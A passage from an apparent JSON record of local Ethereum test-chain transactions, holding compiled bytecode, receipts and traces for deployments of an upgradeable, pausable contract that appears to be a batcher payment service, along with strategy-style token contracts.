85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033","nonce":26,"gas_used":1617137},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x18acf1","logs":[{"address":"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000001000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000200000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x20dac8ce6ff6030c493e90db584bd20e205390e353be7d2283c605eb56c7db60","block_number":23},{"info":{"transaction_hash":"0x88a07ecd82346b9f2da4ead4af36fb5e527d11cd9ac33e214de1410f24c6053a","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a06040523060805234801561001457600080fd5b5061001d610022565b6100e2565b600054610100900460ff161561008e5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff90811610156100e0576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b608051611a82610119600039600081816105e801528181610628015281816106d90152818161071901526107ac0152611a826000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d0565b61090b565b34801561040157600080fd5b5061024f61041036600461178f565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117da565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036106265760405162461bcd60e51b81526004016104e3906117ed565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031661066f600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e390611839565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630036107175760405162461bcd60e51b81526004016104e3906117ed565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316610760600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e390611839565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a0683398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611885565b116109c1578361099f8285611885565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec61189c565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118b2565b919050555085816000016000828254610a8691906117da565b9250508190555050508080610a9a906118cb565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d9089906004016118ee565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611885565b610b6b91906117da565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb29181019061192e565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a0683398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e390611947565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e390611947565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e390611947565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a0683398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e390611947565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e390611947565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119b6565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a26602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119d2565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff808211156115fb57600080fd5b818501915085601f83011261160f57600080fd5b813581811115611621576116216115aa565b604051601f8201601f19908116603f01168101908382118183101715611649576116496115aa565b8160405282815288602084870101111561166257600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b60008083601f84011261169657600080fd5b50813567ffffffffffffffff8111156116ae57600080fd5b6020830191508360208260051b85010111156116c957600080fd5b9250929050565b60008060008060008060008060c0898b0312156116ec57600080fd5b88359750602089013567ffffffffffffffff8082111561170b57600080fd5b818b0191508b601f83011261171f57600080fd5b81358181111561172e57600080fd5b8c602082850101111561174057600080fd5b6020830199508098505060408b013591508082111561175e57600080fd5b5061176b8b828c01611684565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117a457600080fd5b83356117af8161155f565b925060208401356117bf8161155f565b915060408401356117cf8161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118c4576118c4611536565b5060010190565b600063ffffffff8083168181036118e4576118e4611536565b6001019392505050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561194057600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119ad578181015183820152602001611995565b50506000910152565b600082516119c8818460208701611992565b9190910192915050565b60208152600082518060208401526119f1816040850160208701611992565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122003c5cae49592cb6d020c301aa98eb5db4d32c08a2c4bc5494d33ccaf394bdebe64736f6c63430008180033","output":"0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a69df4b51161006f578063a69df4b5146103c0578063a7d31809146103d5578063c0c53b8b146103f5578063c891091314610415578063f2fde38b1461046c578063f83d08ba1461048c57600080fd5b8063715018a61461034257806373e289d0146103575780638456cb591461036d5780638da5cb5b14610382578063953ef807146103a057600080fd5b80634d5431ea116100f25780634d5431ea146102865780634f1ef286146102bf57806352d1902d146102d257806358b96e27146102e75780635c975abb1461031f57600080fd5b806317d89c4e146101ad5780632df4e21e146101f95780632e1a7d4d1461022f5780633659cfe6146102515780633f4ba83a1461027157600080fd5b366101a85733600090815260fd60205260408120805434929061015290849061154c565b909155505033600081815260fd602052604080822060010191909155517f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7709061019e9034815260200190565b60405180910390a2005b600080fd5b3480156101b957600080fd5b506101e66101c8366004611574565b6001600160a01b0316600090815260fd602052604090206002015490565b6040519081526020015b60405180910390f35b34801561020557600080fd5b506101e6610214366004611574565b6001600160a01b0316600090815260fd602052604090205490565b34801561023b57600080fd5b5061024f61024a366004611591565b6104a1565b005b34801561025d57600080fd5b5061024f61026c366004611574565b6105de565b34801561027d57600080fd5b5061024f6106bd565b34801561029257600080fd5b506101e66102a1366004611574565b6001600160a01b0316600090815260fd602052604090206001015490565b61024f6102cd3660046115c0565b6106cf565b3480156102de57600080fd5b506101e661079f565b3480156102f357600080fd5b5060fc54610307906001600160a01b031681565b6040516001600160a01b0390911681526020016101f0565b34801561032b57600080fd5b5060655460ff1660405190151581526020016101f0565b34801561034e57600080fd5b5061024f610852565b34801561036357600080fd5b506101e6610e1081565b34801561037957600080fd5b5061024f610864565b34801561038e57600080fd5b506033546001600160a01b0316610307565b3480156103ac57600080fd5b5060fb54610307906001600160a01b031681565b3480156103cc57600080fd5b5061024f610874565b3480156103e157600080fd5b5061024f6103f03660046116d0565b61090b565b34801561040157600080fd5b5061024f61041036600461178f565b610b9f565b34801561042157600080fd5b50610451610430366004611574565b60fd6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101f0565b34801561047857600080fd5b5061024f610487366004611574565b610de9565b34801561049857600080fd5b5061024f610e5f565b6104a9610ed5565b33600090815260fd6020526040902080548211156104ec5780546040516321c3d50f60e01b81526004810191909152602481018390526044015b60405180910390fd5b600181015415806105005750428160010154115b1561052d576001810154604051635f6e272d60e11b815260048101919091524260248201526044016104e3565b8181600001600082825461054191906117da565b909155505060006001820181905560405133917fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd91a2604051339083156108fc029084906000818181858888f193505050501580156105a4573d6000803e3d6000fd5b5060405182815233907feaff4b37086828766ad3268786972c0cd24259d4c87a80f9d3963a3c3d999b0d9060200160405180910390a25050565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036106265760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b031661066f600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146106955760405162461bcd60e51b81526004016104e390611839565b61069e81610f1b565b604080516000808252602082019092526106ba91839190610f23565b50565b6106c5611093565b6106cd6110ed565b565b6001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c01630036107175760405162461bcd60e51b81526004016104e3906117ed565b7f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c06001600160a01b0316610760600080516020611a06833981519152546001600160a01b031690565b6001600160a01b0316146107865760405162461bcd60e51b81526004016104e390611839565b61078f82610f1b565b61079b82826001610f23565b5050565b6000306001600160a01b037f0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0161461083f5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c000000000000000060648201526084016104e3565b50600080516020611a0683398151915290565b61085a611093565b6106cd600061113f565b61086c611093565b6106cd611191565b61087c610ed5565b33600090815260fd602052604081205490036108ad5760405163b38340cf60e01b81523360048201526024016104e3565b6108b9610e104261154c565b33600081815260fd6020526040908190206001018390555190917f43e8fb9d4f009c90c55a3fa108b177b794704d61af7af6f6512db7883f8ed8439161090191815260200190565b60405180910390a2565b60fc546001600160a01b03163314610938576040516302a5785160e31b81523360048201526024016104e3565b610940610ed5565b83600081900361096357604051630c43ac2960e41b815260040160405180910390fd5b82600003610984576040516351d432c560e11b815260040160405180910390fd5b8361098f8285611885565b116109c1578361099f8285611885565b604051637899ec7160e01b8152600481019290925260248201526044016104e3565b60005b818163ffffffff161015610aa257600087878363ffffffff168181106109ec576109ec61189c565b9050602002016020810190610a019190611574565b6001600160a01b038116600090815260fd60205260409020805491925090861115610a5b578054604051634f779ceb60e01b81526001600160a01b03841660048201526024810191909152604481018790526064016104e3565b600281018054906000610a6d836118b2565b919050555085816000016000828254610a8691906117da565b9250508190555050508080610a9a906118cb565b9150506109c4565b5060fb5460405163d66eaabd60e01b81526001600160a01b039091169063d66eaabd908690610adb908d908d908d9089906004016118ee565b6000604051808303818588803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b5050505050887f4f9439a5aed9cb470d2e0756e7d293accfe5223e719a9a1a256646378ec4375884604051610b3f91815260200190565b60405180910390a260fc546001600160a01b03166108fc85610b618487611885565b610b6b91906117da565b6040518115909202916000818181858888f19350505050158015610b93573d6000803e3d6000fd5b50505050505050505050565b600054610100900460ff1615808015610bbf5750600054600160ff909116105b80610bd95750303b158015610bd9575060005460ff166001145b610c3c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104e3565b6000805460ff191660011790558015610c5f576000805461ff0019166101001790555b6001600160a01b038416610cae57604051630b0f5aa160e11b815260206004820152601560248201527430b634b3b732b229b2b93b34b1b2a6b0b730b3b2b960591b60448201526064016104e3565b6001600160a01b038316610d0557604051630b0f5aa160e11b815260206004820152601a60248201527f626174636865725061796d656e74536572766963654f776e657200000000000060448201526064016104e3565b6001600160a01b038216610d4c57604051630b0f5aa160e11b815260206004820152600d60248201526c18985d18da195c95d85b1b195d609a1b60448201526064016104e3565b610d546111ce565b610d5c6111fd565b610d64611224565b610d6d8361113f565b60fb80546001600160a01b038087166001600160a01b03199283161790925560fc8054928516929091169190911790558015610de3576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b610df1611093565b6001600160a01b038116610e565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6106ba8161113f565b610e67610ed5565b33600090815260fd60205260408120549003610e985760405163366095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb29181019061192e565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a0683398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e390611947565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e390611947565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e390611947565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a0683398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e390611947565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e390611947565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119b6565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a26602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119d2565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff808211156115fb57600080fd5b818501915085601f83011261160f57600080fd5b813581811115611621576116216115aa565b604051601f8201601f19908116603f01168101908382118183101715611649576116496115aa565b8160405282815288602084870101111561166257600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b60008083601f84011261169657600080fd5b50813567ffffffffffffffff8111156116ae57600080fd5b6020830191508360208260051b85010111156116c957600080fd5b9250929050565b60008060008060008060008060c0898b0312156116ec57600080fd5b88359750602089013567ffffffffffffffff8082111561170b57600080fd5b818b0191508b601f83011261171f57600080fd5b81358181111561172e57600080fd5b8c602082850101111561174057600080fd5b6020830199508098505060408b013591508082111561175e57600080fd5b5061176b8b828c01611684565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117a457600080fd5b83356117af8161155f565b925060208401356117bf8161155f565b915060408401356117cf8161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd